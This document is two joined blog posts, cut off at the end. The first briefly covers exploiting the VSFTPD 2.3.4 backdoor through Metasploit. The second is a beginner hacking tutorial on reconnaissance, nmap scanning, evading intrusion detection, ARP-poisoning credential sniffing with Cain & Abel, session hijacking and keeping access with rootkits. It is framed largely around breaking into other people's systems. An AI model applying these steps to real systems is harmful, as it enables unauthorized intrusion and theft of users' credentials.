<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">VSFTPD, which stands for "Very Secure FTP Daemon"[1], is an FTP server for Unix-like systems, including Linux.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">VSFTPD is an FTP server that it can be found in unix operating systems like Ubuntu, CentOS, Fedora and Slackware. By default this service is secure however a major incident happened in July 2011 when someone replaced the original version with a version that contained a backdoor. The backdoor exists in the version 2.3.4 of VSFTPD and it can be exploited through metasploit.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">So first we scan port 21 is it vsftpd 2.3.4 or not, for this purpose you can use nmap.</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">So let’s assume that we have scanned a host and we have discovered the version 2.3.4 of VSFTPD running on the system.</span></span></div><div class="separator" style="clear: both; text-align: center;"></div><div style="margin-bottom: 0in;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">We can open the metasploit framework in order to search for the vsftpd module.</span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TBD-TCoY3yX0-nhZDqbpwAOrQIIiGgCY9BgyeQrsPsS60CDde3U8ZJn8g__RGZ5j3KggwQVN-8bsIeJ-7SJGQswyGJ52KiK3tcqGVLsam3rTFWFDuQLME2gg9bb6uOI5RKdELlDf8NEA/s1600/Screenshot1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="color: black;"><img alt="vsftpd-exploit" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TBD-TCoY3yX0-nhZDqbpwAOrQIIiGgCY9BgyeQrsPsS60CDde3U8ZJn8g__RGZ5j3KggwQVN-8bsIeJ-7SJGQswyGJ52KiK3tcqGVLsam3rTFWFDuQLME2gg9bb6uOI5RKdELlDf8NEA/s1600/Screenshot1.jpg" title="vsftpd-exploit" /></span></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">As we can see there is only one module that we can use. So we will start the configuring the module appropriately. In the next screenshot you can see the configurations that we need to do in this exploit in order to be executed successfully.</span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNZLGvSBAkk-Nyqw5jC9uTymjT8ziwxcYqQdjnOwrv61_D2fHr-iaXWfCV2QYnLIRmpY_ykx5CYkn4q3L774Gt9vz_Q7MB1gSzknxwSp0aeAjWrsY_dKGmm8SiFjbgdDwigCdhgT8JKIFW/s1600/Screenshot2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="color: black;"><img alt="vsftpd-exploit" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNZLGvSBAkk-Nyqw5jC9uTymjT8ziwxcYqQdjnOwrv61_D2fHr-iaXWfCV2QYnLIRmpY_ykx5CYkn4q3L774Gt9vz_Q7MB1gSzknxwSp0aeAjWrsY_dKGmm8SiFjbgdDwigCdhgT8JKIFW/s1600/Screenshot2.jpg" title="vsftpd-exploit-1" /></span></a></div></div>

How to exploit VSFTPD ?

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How to Hack targeted website(Basic)?

<div dir="ltr" style="text-align: left;" trbidi="on"><br />Today is the age of computer and internet. More and more people are creating their own websites to market their products and earn more profit from it. Having your own website will definitely help you in getting more customer purchasing your products but at the same time you can also also attract hackers to play around with your site. If you have not taken enough care to protect your site from hackers then your business can even come to an end because of these hackers.<br /><br />Before you hack into a system, you must decide what your goals are. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the 'root' access, screwing up the system by formatting everything in it, discovering vulnerabilities & see how you can exploit them, etc ... ? The point is that you have to decide what the goal is first.<br /><br />The most common goals are:<br /><br />1. Breaking into the system & taking the admin privileges.<br /><br />2. Gaining sensitive data, such as credit cards, identification theft, etc. - not recommended<br /><br />You should have all of your tools ready before you start the next steps too hacking. There is a Linux version called Backtrack. It is an operating system that comes with various security tools that will help you break into systems.<br /><br />You must decide how you are going to achieve your task. Plan. There is a common methodology followed by hackers, I will mention it below. However, you can create your own methodology if you know what you are doing.<br /><br />Common steps to be taken for hacking a system:<br /><br />1. Reconnaissance (footprinting)<br /><br />2. Scanning<br /><br />3. Ports & Services Enumeration<br /><br />4. Vulnerability Assessment<br /><br />5. Vulnerability Exploitation<br /><br />6. Penetration and Access<br /><br />7. Privilege Escalation & owning the box<br /><br />8. Erase tracks<br /><br />9. Maintaining access<br /><br /><a name='more'></a><br /><br />The above methodology can change based on your goals.<br /><br />Before you break into a system, you have to collect as much info as you can on the system and target. You have to study your target well before you hack. This step is called reconnaissance. Reconnaissance is achieved by using techniques & tools that are undetectable by the target. You are gathering your target's info that is publicly published, e.g. browse your target's website and finding they are looking for an SQL employee and Windows server admin, then you get a hint that they are running Windows Server & do SQL's. This is called a "passive" action.<br /><br />Lets see an example of active action. Example of active action: Call the company to obtain some info, visit the company, email employees to get some info, go to the target's website and read its source code. In other words, passive action means you gather info in a non-intrusive manner. Active action is a step further, such as talking to the company as if you are a customer, things like that. It is not really important to know what action is passive and what is active, the main goal here is to gather info. Simple huh? Good, let me go deeper little bit.<br /><br />In passive reconnaissance, there is a 0% chance of getting caught, as you only target publicly available info to give you the feel on what your target looks like. The type of info you can gather through passive recon. are, names, phones numbers, location addresses, partner networks, and much more. This can aid you when you want to do some social engineering! Hence, sometimes you can get some non-public info that's revealed when you do passive reconnaissance. There are several tools that help you with passive reconnaissance, such as WhoIs (who is). WhoIs helps you obtain extensive info, such as names, domains of the target, etc. Other great tools are, Sam Spade, domain tools, and Google(can reveal lots of target subdomians & many more).<br /><br />Active reconnaissance goes beyond the passive nature, such as communicating with the target without being caught, such as scanning. Anything not discovered in IDS(Intrusion Detection System) is considered active. You have to think of ways to extract info of the company in a normal way, public by going a little bit deeper than passive recon. E.G. You can go to the physical location, do some social engineering, email staff, communicate with employees based on the info you've gotten on your passive recons. Things like that!<br /><br />Example of some techniques for active reconnaissance, such as banner grabbing, view company's public website source code and directory structure, social engineering, shoulder surfing, etc.<br /><br />What the heck is banner grabbing?<br /><br />You let the server send you a block of information that tells you OS version of your target system & various association with it<br /><br />Banner tells OS version and various association. Anything listening on a "port" can determine the operating system (OS) "the port" is running on, this called fingerprinting. In other words, fingerprinting is the process of determining the operating system (OS) or applications used by a remote target.<br /><br />Learn more about banner grabbing:<br /><br />http://www.net-square.com/httprint/httprint_paper.html<br /><br />What is shoulder surfing?<br /><br />Simply, stand behind a person's shoulder and see what the guy is doing & typing on the keyboard. This can happen in a wireless network area where everyone is using a laptop in public areas.<br /><br />In summary, reconnaissance is one of the most important steps in hacking. The main concept is to gather all the info that is publicly available or easily obtainable. Info that we gather will help us in social engineering and research purposes which will lead you to very critical info about the system. It starts by obtaining names, phones, emails, IP range, domain structure, and so on.<br /><br />let me show you how banner grabbing is done, telnet into your target server on port 80 as the following, go to command line or terminal and type<br /><br />telnet xx.xxx.xxx.xxx 80<br /><br />Now the connection is established, that stupid server thinks you are a web browser connected to it, it waits for you to enter commands so the server can you give you info about your request. In this situation, you have to write a command that says "Hey you web server, give me the content of such and such website". However, we do not really want to visit the website through telnet, do you? You can just go to the web browser and request the website from there. Our purpose here is to freak the server out enough, so it spits back a code that says, hey! this doesn't work but here is some info that might help you do some troubleshooting. This technique allows you to fingerprint various components of the target system.<br /><br />Note: instead of telnet xxx.xx.xxx.xx 80, you can do nc xxx.xx.xxx.xxx 80! It's the same thing ... nc stands for netcat ... xx.xxx.xx.xxx represents the IP address of the target system.<br /><br />After you do telnet xxx.xx.xxx.xxx 80, the remote sever will wait for you to enter a command. Type this:<br /><br />HEAD / HTTP/1.0<br /><br />Then you will get a reply looks similar to:-<br /><br />HTTP/1.1 200 OK<br /><br />Date: Mon, 16 Jun 2003 02:53:29 GMT<br /><br />Server: Apache/1.3.3 (Unix) (Red Hat/Linux)<br /><br />Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT<br /><br />ETag: "1813-49b-361b4df6"<br /><br />Accept-Ranges: bytes<br /><br />Content-Length: 1179<br /><br />Connection: close<br /><br />Content-Type: text/html<br /><br />So the header response brought back some important info that says, the server runs: Apache/1.3.23 in UNIX OS for Red Hat distribution of Linux.<br /><br />OR you might get header that looks similar to the following:<br /><br />HTTP/1.1 200 OK<br /><br />Server: Microsoft-IIS/5.0<br /><br />Expires: Tue, 17 Jun 2003 01:41:33 GMT<br /><br />Date: Mon, 16 Jun 2003 01:41:33 GMT<br /><br />Content-Type: text/html<br /><br />Accept-Ranges: bytes<br /><br />Last-Modified: Wed, 28 May 2003 15:32:21 GMT<br /><br />ETag: "b0aac0542e25c31:89d"<br /><br />Content-Length: 7369<br /><br />It means, the server runs: Microsoft-IIS/5.0 in Win 2000 or Win 2003 (we don't the Windows version yet).<br /><br />OR you might get header that looks similar to the following:<br /><br />Date: Thu, 04 Dec 2008 02:18:46 GMT<br /><br />Server: Apache/1.3.41 (Unix) PHP/4.4.8 mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.8b<br /><br />Last-Modified: Thu, 10 Jul 2008 23:34:28 GMT<br /><br />ETag: "c9865b-d91-48769c84"<br /><br />Accept-Ranges: bytes<br /><br />Content-Length: 3473<br /><br />Connection: close<br /><br />Content-Type: text/html<br /><br />It means, the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8<br /><br />Ok, you get it now?<br /><br />lets say our target got the following version: the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8<br /><br />At this point if you know any vulnerabilities for this particular OS or this particular Apache or PHP. You can start the exploitation process...<br /><br />Another example, use program called Sam-Ppade which gives you alot of info about your target. The target does not know actually what we are doing against their server, since they haven't seen anything been triggered by IDS or Firewall.<br /><br />*What is the difference between IDS & Firewall?<br /><br />An IDS (Intrusion Detection System) may only detect and warn you of a violation of your privacy. Although most block major attacks, some probes or other attacks may just be noted and allowed through. There's also an evolution of the IDS called an IPS (Intrusion Prevention System) that watches for the same things an IDS does, but instead of just alerting, it blocks the traffic.<br /><br />A good firewall will block almost all attacks unless specified otherwise or designed otherwise. The only problem is, the firewall might not warn you of the attacks and may just block them.<br /><br />It may be a good idea to have both an IDS and a Firewall, because the IDS will warn you and then the firewall will block the attack. Over the years, firewalls have gotten more complex and added more features. One of these features is actually IDS - today you can have a firewall that already has IDS(Firewall/IDS's are combined into one internet security program).<br /><br />Learn more about banner grabbing:<br /><br />http://www.net-square.com/httprint/httprint_paper.html<br /><br />To learn how to do it through Google, you need the following book:<br /><br />http://www.amazon.com/exec/obidos/ASIN/1.../ref=nosim<br /><br />Note: the book in amazon is just an example for you to give you an idea of what kind of book you should be looking for - if you are interested.<br /><br />Alright, now you at least have an idea of what reconnaissance is! lets talk about scanning...<br /><br />When you scan your target's network, you actually start touching the system. Scanning a network determines what's in there, scanning network gives you the feel of how your target's network is laid out, if there are multiple subnets, which hosts are alive, check ports, see if system is alive, discover available hosts & get info about the discovered hosts. There are thousands of tools can be used to scan networks! Scanning a network can easily get picked up by IDS. Anyhow, no one will pay attention except if you do it over and over because scans happens on such a regular basis on the internet. Therefore, people who read the logs, I mean the webmaster won't really pay attention to every single scan that occurs, so you don't have to worry. There are ways to avoid being picked up by IDS. After you finish scanning, you will gain a list of network nodes that exists there.<br /><br />"Node" is an active electronic device that is attached to a network, and is capable of sending, receiving, or forwarding information over a communications channel. If you want to learn more, Google it or visit http://en.wikipedia.org/wiki/Node_(networking) ...<br /><br />Ok now we want to discover live hosts via scanning. This is the first action taken against your target's network. Depending on what method of scanning you use, you can be detected by IDS. Most admins will ignore detections because it happens alot unless something abnormal happens.<br /><br />There are various scanner tools, e.g. Nmap, Superscan, and many more. There are various scan methods, some are stealthy, others are not.<br /><br />Before I talk about various scanning methods, let me explain to you about TCP connections basics. When you scan your target using TCP communication, there are six TCP flags that can be utilized during packet transmission (packets get transmitted during scanning process). A flag will indicate whether the sent packets are syn, ack, fin, urg, psh, or rst packets. These packets sets you in a position on how you want to communicate with the remote host. You can get different info depending on the flag you choose for the scanning.<br /><br />TCP establishes three handshakes, syn, syn-ack, ack. What are they?<br /><br />When you scan your target using TCP communication, you send a syn packet(syn request), and then target sends you back an ack packet with a syn packet. Now, you send an ack packet to the target. So now both machines establish the connection well, like they have made a well established tunnel for a proper guaranteed communication without losing any packets during communicating with each other. A hacker can get caught easily if he uses this method to hack other systems illegally.<br /><br />Hackers use non-standard combination of these six flags, which gives them info that are not normally available to the public.<br /><br />Have you heard about syn flood?<br /><br />Syn flood is done by utilizing three handshake by sending "syn" request to the target, so the target receives a syn request and send an a syn-ack back to the originator(you). You ignore the target syn-ack request - when you ignore it, then the three handshakes is not completed, this is called a half open TCP connection - In theory, when the target sends you syn-ack, the target allocates some RAM on its machine.<br /><br />The amount of RAM on the target machine must be open until it gets response (ack packet) back from you because till now only two handshake has been made,so the TCP connection process is not completed yet. However, there is always a time limit for the RAM to be opened, so if 30 secs passed by & the target did not get the ack from you, the connection will abort (failed TCP handshake - timeout) & RAM will be allocated.<br /><br />The idea here is to send hell a lot of packets in few secs so in 30 secs, you can send 40 million packets(lets say one packet size is 1kb) which is heavy on the RAM since the RAM might not have enough memory to carry 40 million packets. Therefore, you force the target to make half open TCP connection attempts, so definitely the target machine will stop responding to legitimate request. In other words, if you send 40 million syn requests to that remote host, it's going to allocate a hell of a lot of ram for those requests. After a while, it's going to eat up all of the ram. Thus, target system goes down. This is called syn flood attack.<br /><br />In short, syn flood attack makes the system (i.e. the IP stack or kernel) chokes on the memory allocations (or simply runs out of memory) or the target application (i.e. web server) chokes on the processing load. You got it? Or not yet?! Syn flood is an old technique i just mentioned it here for illustration purposes.<br /><br />General Information: These days, SYN floods are used to make systems inaccessible. They have a limited number of half open connections, you use them all, and they can't accept any more SYNs. But again, modern software throws away old SYNs once the limit is reached. Note that different systems will behave differently.<br /><br />If you interested in learning more about syn flood, visit<br /><br />http://tools.ietf.org/html/rfc4987<br /><br />Lets talk about the most common TCP Scan types. There are full scan, half open scan, stealth scan, Xmas scan, and ack scan.<br /><br />Full scan: this completes 3 way TCP. it is the most effective & gives more accurate results. However, it is not safe and easily traced and detected.<br /><br />Half open scan: it is the second most effective scanning method, only uses first part of the handshake to get syn-ack but does not send 3rd part (ack) back to the remote host. The idea here is if the remote replies back to you after you have sent syn request, this means the port - we sent the syn to - must be open.<br /><br />Stealth scan: the idea here is to scan ports randomly(not in sequential order) & reduce the speed of scanning. If you scan all port from 1 to 65536 in sequence, your more visible to be detected, and usually scanning happens so fast, which is unusual since regular program does not connect to port that fast, so this can make it easier to be detected. Therefore you have to scan ports randomly & reduce the speed of scanning. To avoid IDS, you should not use full connection scan with stealth scan, you can use half-open scan(syn). syn is considered a stealth scan. In fact, syn scan is called syn-stealth scan, or you can use Xmas scan with stealth scan which helps you to evade detection, things like that! you get my point i guess.<br /><br />Xmas scan: uses fin, urg, and push flags which are used to bypass some firewalls. Xmas scan works with UNIX system, it does not work with Windows system.<br /><br />Ack scan: this helps you evading IDS not to get you detected. You send only an ack packet to your target, your target won't know how to deal with it since there was no handshake. Thus, ack scan causes open ports in your target machine to return a reset packet(rst), rst packet gives you a hint that the port or service is not filtered between point A and point B, which usually firewall resides in between! Since the port replied you with rst packet this means there is no firewall between A(your machine) & B(port or service on the target machine) and rst packet also gives you an insight that the target port is open ;-). If there is a firewall, your ack packet would not reach to the target port & because of that you won't get any rst packet. In addition, rst packet helps you identify what system is running on the remote host.<br /><br />These are the most common method of scans, there are hundreds of scanning methods! Nmap allows you to set your own custom scan type e.g. instead of sending ack flags only, you can send ack flag and rst flag together and see what you get back from target ...<br /><br />OK! we have talked about how TCP scanning works in general. Now, I will be talking about UDP & ICMP Scanning ... UDP and ICMP connections most of the times are blocked at the firewall level & even at the host level in some cases. We are going to scan on hosts & ports that respond via UDP. When you scan your target via UDP, there are many problem will occur during that process e.g. you can scan over the ports via UDP, assume you scanned port 1, and port 1 is closed, then host will send ICMP unreachable back to you, which gives an insight that port is closed because you didn't get any UDP response back from target! Making sense,right? Unfortunately, we will never get a response back from target to ensure you that port is open!<br /><br />That's how UDP call works, send the packet & forget it. Lets say we come across port 21, and 21 is open, then port 21 on target machine will not reply back to you because UDP does not give you the guarantee the delivery packets during communication process, it just send the packet and forget, unlike TCP which guarantees the delivery of packets with no loss or corruption. Since we didn't get reply back, then we can assume the port 21 is open *OR* maybe port 21 is closed and ICMP reply got lost somewhere so we didn't get it! A general rule, when you don't get a reply you assume port is open.<br /><br />Some high professional security person purposely configure ports to not respond to UDP scanning. ICMP scanning is as same as UDP. ICMP scanning is noisy & can be picked by IDS very easily because ICMP sends random several pings to the network instead of a single host (ICMP scanning does a 'ping scanning' - sends ICMP packets - to the whole network instead of a single host). After you finish ICMP scanning, based on the replies you get back from the live hosts, then you can determine that your target network is listening for ICMP traffic and you might to do some exploit based on that. Unfortunately, there aren't alot of ICMP exploits going around, so you are just going to use ICMP for network enumeration, you just do it to see what hosts are up, host A is up , host B is up and host C is up, they are replying for my ICMP. Thus, this let us know these 3 hosts are running on the targeted network and potentially can be a target for us. IDS's are always listening for network scans & alot of network scanners provide a support for ICMP scanning, but do not have a way to make it stealthy! Therefore, ICMP can turn on the IDS alert which tells the security person there is somebody scans your whole network.<br /><br />Nmap is a great tool that is very popular, it is usually used to scan networks, hosts, ports, and does alot of other stuff. It is very intrusive tool and considered a hacking tool. Using Nmap against systems you don't own or don't have permission to scan can be considered illegal. Lets see examples of some scanning method!<br /><br />Example of ICMP Scanning(-sP) - this is called ping scan<br /><br />nmap -v -sP xx.xxx.xxx.xx > filename<br /><br />Nmap: represents the program we are running which Nmap.<br /><br />-v: for increased verbosity, which means bring me extra details of the targeted system. (Optional - as far as i know)<br /><br />-sP: the flag that determines the scanning method.<br /><br />x's: target IP address.<br /><br />> filename: output the results to the newly specified file name. In other words, save results in a file (Optional)<br /><br />This above command shows you the systems that are up and running, so this shows what is available to us on the targeted network. As a result, you will get simple info that shows you there number of IP addresses that responded to ping request - Note: there could be alot more machines out there that are not responding to ICMP scanning.<br /><br />Lets see an example of UDP scan, UDP scan not so speed.<br /><br />nmap -v -sU xx.xxx.xxx.xx<br /><br />Results of UDP scan(-sU) give more info than ping scan(-sP). Keep in mind there could be hundreds of other ports are listening on the system which simply don't respond to UDP connection.<br /><br />Useful sources relates to scanning methods via Nmap:<br /><br />http://www.nmap-tutorial.com/pdf/nmap-tutorial.pdf<br /><br />http://www.petri.co.il/port-scanning-with-nmap.htm<br /><br />ALRIGHT, now you have a good basic understanding about scanning! Next, i will be talking about fingerprinting!<br /><br />Now lets get deeper! By now we have determined what nodes are running up on the network. So we are ready to gather large info on those live systems we discovered in the previous steps. Ok! now you need to discover what services (application) are running on your target's host. Every (or at least many) port has a service running on it. For example, web server usually are running on port 80. What we have to do is scan ports, see what kind of services(applications) are running on them, try to grab the versions of the services, this will help you to determine the OS as well. This is called 'Port & Service Enumeration(fingerprinting)'. We have to do this step to understand what potential vulnerabilities your target has & how to exploit them.<br /><br />Assume after we have scanned our target system, we found our target runs "IIS 5.0 Server" on "port 80". Based on the scanning result, you can say the target server is running IIS 5.0(IIS is set of Internet-based services, IIS is the second most popular web server - IIS is a Microsoft product), it is known IIS 5.0. has too many vulnerabilities & IIS 5.0 runs on Windows 2000, which Windows 2000 by itself has hundreds of vulnerabilities..<br /><br />In other words, lets scan ports and services, and do OS fingerprinting, lets identify services on those live host in our target network. Once we know what services are running and what OS are running then we can start exploiting these services! - 'ping/port/service' scans are frequently run together using the same tool.<br /><br />NOTE: Identifying ports & services is the most critical part in hacking... PERIOD<br /><br />OS fingerprinting is used for determining OS type and version, then we exploit vulnerabilities that resides into the OS. When you fingerprint a target, your targets' OS can be known from the TCP/IP stack, so fingerprinting happens on TCP/IP stack. Why? Because each OS has a unique implementation of TCP/IP, so TCP/IP stack is implemented differently from OS to OS, so an exact same query sent to one machine the respond of the result will be different than the other machine. Therefore, based on the response this can help the scanner determines the OS of the target, because every OS has its own unique response when you do OS fingerprinting request.<br /><br />When you do a default install of OS, certain services will be installed by default, services that are needed for that OS to work properly, e.g. ports<br /><br />137,138,139,and 445 which all combined together to produce Win 2000 OS or above. Another example, a combination of 139 and 445 can determine a certain version of windows such as Win XP or Win 2003, there are lots of ways to determine OS. Another example, if you see a service MS SQL is running on a certain port, you can determine the target OS is not in *nix family, it is in a Win family cause the target is running a Microsoft sql product. Thus, we can say port enumeration or service enumeration can help you in determining OS.<br /><br />There tons of popular scanners out there:<br /><br />SuperScan - Works good on Win OS.<br /><br />Nmap - Works on *nix & Windows, *nix version is much more stable than Win version.<br /><br />Most scanners offer full, half, stealth, and UDP scans.<br /><br />You are goning to spend most of your time scanning your target machine to know whats available there, so you can exploit the vulns & penetrate the system. Therefore, you have to do some exploration on scanning methods & decide which method of scanning you feel more comfortable with...<br /><br />Lets see an example of enumeration style scanning. Just keep in mind, this can be considered hacking! Make sure you do to your system, not somebody's else.<br /><br />This is kind of a stealth scan:<br /><br />nmap -v -sS -A -sV xx.xxx.xx.xx > filename<br /><br />This above request gives you very specific details about your target. sV is for version information identification. Check out the manual to know what these flags do - type "man nmap" to see the manual...<br /><br />Alright, after we have fingerprinted services & OS, now its the time to check for various vulnerabilities against application(services) & OS running on the target system. This is called vulnerability assessment. To do vulnerability assessment, you can use the tools available, such as Nessus. Nessus is free vulnerability assessment, huge database, its the best assessment tool.<br /><br />Lets scan vulnerabilities on the target system. Lets say target system is Win 2000 SP1 IIS 5.0, Nessus goes back to its database and check the vulnerabilities for Win2000 & IIS 5.0. If there are no vulnerabilities discovered,the vulnerability assessment tool actually can't catch it. However, if Nessus couldn't find matching vulnerabilities for the target system, it will let you know if the system has some security issues or not. Such tools are considered as Automated Vulnerability Assessment Tools. You have to know about the target system OS so you can do vulnerability assessment on it. There are vulnerability assessment OS specific, e.g. MBSA tool (only scans Win OS).<br /><br />NOTE: you can do vulnerability assessment manually, this depends on you and your skills. By doing it manually, you can discover vulnerabilities that nobody knows about, and you can use it for your own use. It is a powerful and very discrete.<br /><br />After we determined what systems & what services contain what vulnerability, then we can exploit it (means take a chance of this vulnerability to achieve what you want).<br /><br />common vulnerabilities out there are:<br /><br />OS vulnerabilities<br /><br />Webserver vulnerabilities<br /><br />Database vulnerabilities<br /><br />TCP stack vulnerabilities<br /><br />Application vulnerabilities<br /><br />Malwares, viruses, trojans, can be used to exploit vulnerabilities.<br /><br />There are several automated vulnerability scanners, such as Nessus, Nikto. Security websites is a good resource for vulnerabilities as well, e.g. bugtraq, CVE(Common Vulnerabilities and Exposures) sites, etc. Another good source to find vulnerabilities is hacker web sites.<br /><br />Lets talk about the tools:<br /><br />*Nessus - this is a great vulnerability assessment tool. However, in a lot of cases it will perform exploits to see if the OS or service is actually vulnerable or not.<br /><br />*Metasploit Framework - this is not vulnerability assessment tool. It is an exploitation tool, it contains hundreds of exploits helps you to exploit the system by using a nice selection of tools.<br /><br />I will explain shortly about the common vulnerabilities...<br /><br />OS Vulnerabilities: OS exploits are used to gain access to the system. OS exploits can used for DoS attacks too. watch the video tutorial. Most OS holes exist from default configuration, services and applications.<br /><br />Webserver Vulnerabilities: webservers are the most targeted section. All people contact the webserver, thus you never know the diffference between a hacker and a normal user. Webservers examples, Apache, IIS, and Tomcat. After you exploit the vulnerability in your target webserver, you can gain many different things, such as root access(the gist), website defacement, DoS(put the server down), theft or alteration data on server, or further penetration into the network.<br /><br />Webserver is a great place to start when you want to do a penetration test!<br /><br />Database Vulnerabilities: those software vendors who create databases applications such as SQL, Oracle, etc - they dont have security in mind, they care more into efficiency and how to make it easy for the users to handle with the database. They care about making their customers happy without giving that much attention in security issues!<br /><br />TCP Stack Vulnerabilities: this is not a common used method to hack systems. Google it!<br /><br />Application Vulnerabilities: some examples of application vulnerability, buffer overflow, weak authentication mechanisms, poor data validation(the most common one), and poor error checking.<br /><br />ALRIGHT, to discover these vulnerabilities on the target machine you need to do vulnerability assessment. This can be done in two ways, manually or automatically. Manually means you try to discover a vulnerability. by yourself which eventually you will have a vulnerability that nobody else knows about and you can use it for yourself or publish it to security sites. Automatically means you rely on a tool that searches for vulnerabilities in the target machine, this tool has a database full of vulnerabilities, so this 'tool' will only inform you the vulnerabilities found in the target machine by relying on 'its' database. We are going to talk about auto vulnerability assessment. The most common and wonderful tool is Nessus, its free open source code!<br /><br />A lot of common sense comes into play when analyzing vulnerabilities, for example you do not look for a database vulnerability in a webserver, things like that. Another resources, OVAL - gives you a good and basic foundation of vulnerabilities assess. methodology, FrSIRT - keeps track of vulnerabilities and make exploits of these vulnerabilities, you can join a paid subscription and then browse vulnerabilities available in their database and download exploits this is a good source for hacking or security, and websites for posting exploits such as milw0rm, hacking sites.<br /><br />Lets have a closer look at nessus tool, nessus is client/server architecture. The process of setting it up is cumbersome. Nessus have about 9000 plugins, therefore it takes time to perform the assessment. Results can be reviewed in a report. The report includes the vulnerabilities found on the target machine with a short description about the vulnerability.<br /><br />Note: you can enable several plug-ins in plugin tab. You can specify range of ports through scan options. To specify the target, you should go to the target tab.<br /><br />Once we have done the vulnerability assessment, and knew what vulnerabilities exit. We start gathering exploits of the found vulnerabilities to penetrate the system.<br /><br />Lets talk about penetration and access! After all information we have gathered previously, its the time to break the system with the exploits you have.<br /><br />Its the time to stop gathering information and start breaking into system. The ultimate goal is to gain the highest level of permissions. Try to use undiscovered techniques and methods. Think out of the box!<br /><br />Some of exploits that enable penetration are:<br /><br />*Buffer overflows<br /><br />*Stack exploits<br /><br />*Web vulnerabilities<br /><br />*Services/apps that allow unauthenticated access.<br /><br />Aside from the standard methods of penetration, lets see an penetration methods, here are some examples:<br /><br />*SQL Injection - ability to change queries in the application before its sent into database.<br /><br />*Application Error Handling - this can result DoS. Probably one of the most common vulnerability you can find in corporate arenas.<br /><br />*Directory Traversal - browse directories you should not be able to do so on.<br /><br />*Malformed Packets - one of the more difficult methods of penetration, requires very extensive knowledge of how TCP packets are assembled and disassembled. But once you get used to it, its probably the most effective ways of hacking.<br /><br />*Bypassing Access Controls - password cracking is most common means of accessing systems.<br /><br />*Social Engineering - i guess you know what it means.<br /><br />*Sniffers - take passwords right off the wire, a lot of protocols and applications such as http & ftp communicate passwords over the wire in plain text.<br /><br />*Session hijacking - it is similar to sniffers, but you don't gain a password because we take off the entire session, hijack the slave's session & act as you are him.<br /><br />Usually when you get passwords, you get it encrypted, or hashed or hidden in some way or another. Password cracking can be done in several ways, examples:<br /><br />*Brute Force Attack - Every password, can and will be broken by brute force attack. It is about the time. Depends on the size of the password.<br /><br />*Dictionary Attack - less effective than brute force, relies on list of words or phrases.<br /><br />*Hybrid Attack - combination of different tools. It is a combination of effectiveness of brute force and dictionary attacks & often using other attack mechanisms, such as cryptanalysis attack (one of the hybrid attack).<br /><br />You should know that when you do sniffing, you often get usernames & passwords in plain text. However, you can get encrypted passwords from sniffing as well. You will need to use of the cracking techniques discussed above. Sometimes cracking an encrypted passwords can take secs, hours, days, months, or even more!!!<br /><br />There is a great software called "Cain & Abel", it sniffs passwords from the wire, cracks it, etc. Once you install it, go to sniffers tab, then move to the found passwords in cracker tab to see what you have got! There is a lot to it. You should know these techniques as a security person cause if you don't know it, a black hat will take care of it.<br /><br />Now, assume we already have hacked the system. We will try to do different things, such as getting the root, etc. Penetration & compromise have differences in the meaning. Hacking into system does not mean you have compromised (taking the full control - take over) the system. After you penetrate the system, you can grab the session between client and server, e.g. you keep listening on login sessions, so when the remote user login to Google, the session is dropped to you, once you get the session, the remote user won't be able to get into his account he/she will see at page goes blank (disconnected), so he/she may think its a problem in a connection, thus he/she tries to login again & everything works fine! BUT you already got his session, you won't have to go through login page when you want to see his/her email inbox, cause its already among the whole session you have taken.<br /><br />Another way to do this, lets say the attacker has compromised the user's system, thus the attacker can let the session drop on his machine, then he takes the session, reads and saves it. After that, he redirects the user to the server, this step will make everything works ok like nothing wrong happen.<br /><br />Lets see an example of the above explained steps, after attacker installs "Cain & Abel" application, he moves to "attack base system" & click the sniffer button at the top & click the yellow button(APR Poisoning Button) besides the sniffer button. This APR Poising button trick the attacked system to talk to the attacker instead of normally who it talks to. For testing purposes, go and add various system addresses(IP's) to the list. Let say one of the user amongst those targeted IP's logon into 'Google', at the authentication process you will notice varies pieces of info comes to you. You are gathering info by getting into the middle of the communication process. Now view the files you have got in the list, you can see among the lines the username & password of the users' 'Google' account in plain text! So how dangerous this can be to your privacy! So be careful....<br /><br />Once the hacker gains access to the system. He aims for admin(root) access. He moves up from guest level, to user level, up to root level. Owning the box, means take the system & prevent the admin from controlling the system, as well as preventing other hackers from getting in. So hackers usually move on from the regular level, to the admin level so they can have full control. A hacker needs privilege escalation to compromise the system well. Some exploits allow buffer/stack overflows to obtain admin access. All it takes is a guest user, then a hacker can perform exploitations locally and there he goes to the root.<br /><br />At this point, we did everything up to owning the box. Now our goal is to protect our access. Thus, we want to maintain our access to that hacked system, so we can use it later. You can maintain a system by using such tools, backdoor accounts, backdoor software programs, rootkits, etc. These tools help you maintain access. Some hackers own the box close all other accounts except his account, so the security person shut the system down, reformat the system and start over again.<br /><br />By doing this, hacker account will be gone. Once we ensure we have maintained our access to the system, then we want to expand ourselves to other parts of the network. Remember, if you do not do this on your own network, somebody else will take care of it. If he does, i do not think you will be too happy! Once you got an access, and could maintain it successfully. You want to prevent detection or loss of access. There are several methods to maintain access, such as rootkits, OS 